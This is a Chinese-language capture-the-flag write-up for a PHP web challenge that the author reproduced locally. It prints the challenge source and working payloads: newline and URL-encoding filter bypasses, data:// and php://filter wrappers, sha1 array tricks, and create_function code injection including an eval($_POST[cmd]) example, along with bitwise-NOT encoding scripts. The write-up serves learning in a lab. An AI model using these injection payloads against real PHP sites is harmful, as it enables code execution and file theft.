知识点:creat_function代码注入,异或,require加伪协议,define()+fopen()+fgets(),换行绕过,sha()比较,正则匹配绕过等等
这个题目我在BUU上解题的时候,有个地方总是绕不过去,可能是环境有点问题,所以在本地进行了环境搭建用来复现题目。复现参照Y1ng 师傅的wp,Y1ng 师傅yyds
解题过程
在f12中,找到提示 GFXEIM3YFZYGQ4A= 进行base32解码操作,得到1nD3x.php 打开1nD3x.php 后,可以得到源码
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!
接下来慢慢对题目代码进行分析
1. $_SERVER[‘QUERY_STRING’]
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
截图下大佬的文章,文章链接:详解 $_SERVER 函数中QUERY_STRING和REQUEST_URI区别
这个正则匹配很不友好,过滤了很多关键词,比如passwd这样的参数也被过滤了,因为$_SERVER['QUERY_STRING'] 不会进行urldecode,而$_GET[] 会,所以可以使用url编码 绕过
2. %0a换行绕过
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
正则匹配中,^ 匹配字符串头部,$ 匹配字符串尾部,但是又允许debu!==aqua_is_cute 。preg_match 只匹配一行,可以使用%0a 换行污染绕过
?debu=aqua_is_cute%0a
3. 绕过英文字母匹配
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
这段代码使用foreach 循环遍历$_REQUEST 数组,把值赋给value ,通过正则匹配进行大小写字母的检验,如果value 存在大小写字母,则die()
这个可以使用两个绕过方法:
- 一个是
$_REQUEST 同时接收GET和POST的数据时,会有一个优先级的顺序,用下出题人Y1ng 师傅的讲解:文章传送门
也就是,GET和POST同时传入相同的参数,$_REQUEST 会根据php.ini中的设置,优先读取其中一个,二者是竞争关系。所以可以根据这个特性,可同时传"无毒"的同名参数 进去,这样$_REQUEST 读取到的数据就是没有毛病的,不会die().
payload:
GET传参:debu=aqua_is_cute
POST传参:debu=1
$_REQUEST 获取请求参量,不支持数组,接下来我们传的参数是数组,故可以不用管。
4. data伪协议
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
这段代码要求读取一个file (文件名可控),但是文件内容是debu_debu_aqua 找不到这样一个文件,又不能上传一个,正则过滤了http 也不能远程文件包含,所以可以构造一个$file 使用data://伪协议
file=data:
5. 绕过sha1()比较
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
sha1()无法处理数组对象,如果传入两个数组参数,都返回false,就可以实现=== ;同时传入的参数又不相同 payload:
shana[]=1&passwd[]=2
6. create_function()代码注入
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
6.1 extract()
本题中传参flag是个数组,flag[code] 和flag[arg]
<?php
$flag[code] = "1";
$flag[arg] = "2";
extract($flag);
echo $code."\n";
echo $arg;
结果:
1
2
[Done] exited with code=0 in 0.12 seconds
6.2 creat_function()
一个正常的creat_function() 功能,实现一个简单的加法函数
<?php
$func = create_function('$a,$b','return ($a+$b);');
print($func(1,2));
回显:
3
但是这个东西是有漏洞的,比如
<?php
$func = create_function('$a,$b','return ($a+$b);}eval($_POST[cmd]);//');
print($func(1,2));
那么实际执行的func 函数是
<?php
function func($a,$b){
return $a+$b;
}
eval($_POST[cmd]);
其中// 是屏蔽后面的} 使得没有语法错误 本地实验一下
6.3 preg_match的模式修饰符
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}
注意一下preg_match('/^[a-z0-9]*$/isD', $code) ,creat_function中含有_ 可以绕过,模式修饰符的含义如下,官方链接:模式修饰符传送门
7. 真假flag
还是要分析一下
include "flag.php";
$code('', $arg);
我们包含了flag文件之后,但是看不到flag值,所以需要creat_function 来将flag参数值表示出来。但是arg 过滤了太多了,像cat ,eval 等都过滤了,但是可以使用get_defined_vars() 来输出所有的变量和值。
payload:
GTE传参
/1nD3x.php?debu=aqua_is_cute
&shana[]=1&passwd[]=2&file=data:
url编码后
/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data:
&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());
POST传参
debu=1&file=1
但是这样得到的是假的flag,但是也提示了真的flag是1flag.php 所以既需要包含1flag.php ,也需要进行变量输出
7.1 base64_decode(不适用BJDCTF)
一个思路是require(base64_decode(MWZsYWcucGhw));var_dump(get_defined_vars());// 代替var_dump(get_defined_vars());// 但是本题code 被过滤了,记录一下这个解法
7.2 异或操作(不适用BJDCTF)
arg 没有过滤require 函数
import string
import math
a = '1flag.php'
str1=''
str2=''
str3=''
for i in a:
j = ord(i)
j = 0xff^j
k = hex(j)
str1 = str1 + '%' + k[2] + k[3]
str3 = str3 + '%ff'
str2 = str2 + k
str3 = str1 + '^' + str3
print(str3)
上面的代码自己瞎写的,有些冗余 贴一下Y1ng 师傅的脚本:
<?
$flag = "1 f l a g . p h p";
$arr = explode(' ', $flag);
foreach ($arr as $key => $value) {
echo "%".dechex(ord($value)^0xff);
}
echo "^";
foreach ($arr as $key => $value) {
echo "%ff";
}
但是本题过滤了^ ,所以不太适合本题,记录一下解法
7.3 require()+伪协议(预期解)
上面提到的异或,因为过滤了^ ,所以不能使用。但是可以使用url编码取反操作,脚本和上面的类似,稍微有所不同
import string
import math
a = 'php://filter/read=convert.base64-encode/resource=1flag.php'
str1=''
str2=''
str3=''
for i in a:
j = ord(i)
j = 0xff^j
k = hex(j)
str1 = str1 + '%' + k[2] + k[3]
str3 = str3 + '%ff'
str2 = str2 + k
str3 = str1 + '^' + str3
print(str3)
print('~'+str1)
结果
~%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%ce%99%93%9e%98%d1%8f%97%8f
在Y1ng 师傅的wp那里了解到~ 之后可以不用加括号,即require(~(%...)) 和require(~%..) 作用是一样的,可以得到
%66%6c%61%67[%61%72%67]=;}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%ce%99%93%9e%98%d1%8f%97%8f));
将得到的字符串进行base64解码 此为自己复现的题目,flag是瞎编的。。
7.4 非预期解1 define()+fopen()+fgets()
涨知识了,shana 师傅np
define(aaa,fopen(~(%ce%99%93%9e%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);
`$file = fopen(“test.txt”,“r”); “r” (只读方式打开,将文件指针指向文件头)
fgets() 函数从文件指针中读取一行。
feof() 函数检查是否已到达文件末尾(EOF)。如果出错或者文件指针到了文件末尾(EOF)则返回 TRUE,否则返回 FALSE。
测试结果
7.5 非预期解2 rdd师傅和P3rh4ps师傅
rdd师傅的
%66%6c%61%67[%61%72%67]=;}var_dump(get_defined_vars());var_dump(require(end(pos(get_defined_vars()))));
回显 解码的时候,将int(1) 去掉,具体为啥回出现这个int(1) 还没想到,,,有懂的大佬可以讲讲
参考链接
- ying师傅的文章
- 详解 $_SERVER 函数中QUERY_STRING和REQUEST_URI区别
- 模式修饰符传送门
总结: 从这个题目学到了很多东西,学到了好几中操作,加油 (? ?_?)?
|